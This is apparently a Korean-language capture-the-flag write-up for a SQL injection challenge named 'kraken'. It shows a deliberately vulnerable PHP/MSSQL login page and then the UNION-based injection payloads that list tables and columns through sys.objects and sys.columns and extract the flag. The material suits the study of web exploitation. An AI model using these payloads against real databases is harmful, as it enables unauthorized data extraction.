kraken
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| query : select id from member where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = mssql_connect("kraken");
if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['id']) echo "<h2>{$result['id']}</h2>";
if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
|
Solution
sys 필터링이 없어짐. sys.objects, sys.columns 사용 가능.
sys.objects : here
sys.columns : here
1
2
3
4
5
6
| 처음에 그냥 table 목록을 뽑아오니 a_dummy_table이 나옴.
그래서 테스트 환경에서 5개의 테이블을 생성하고
아래처럼 offset 안의 값을 증가시키면 한 개씩 반환됨을 확인.
이를 이용해서 flag로 시작하는 테이블을 찾으면 됨.
|
1
| select name from sys.objects where type='U' order by name offset 0 rows fetch next 1 rows only
|
order by 할 때 name으로 하면 안됨. 이유는 결과로 나올 컬럼은 id 이기 때문임.
1
2
| ?id=' union select name from sys.objects where type='U' order by id offset 1 rows fetch next 1 rows only --%20
-> flag_ccdfe62b
|
1
2
3
4
5
| 이제 flag_ccdfe62b의 object_id를 알아낼꺼임.
?id=' union select object_id from sys.objects where name='flag_ccdfe62b' --%20
-> 901578250
object_id를 통해 table 구별을 해줄꺼임. -> 고유 값이라 가능
|
1
2
3
| 이제 column 이름을 뽑아올꺼임
?id=' union select name from sys.columns where object_id='901578250' --%20
-> flag_ab15b600
|
1
2
3
4
| table 이름과 column 이름을 모두 알아냈으므로 flag를 뽑으면 됨.
?id=' union select flag_ab15b600 from flag_ccdfe62b --%20
-> FLAG{a0819fc56beae985bac7d175c974cd27}
|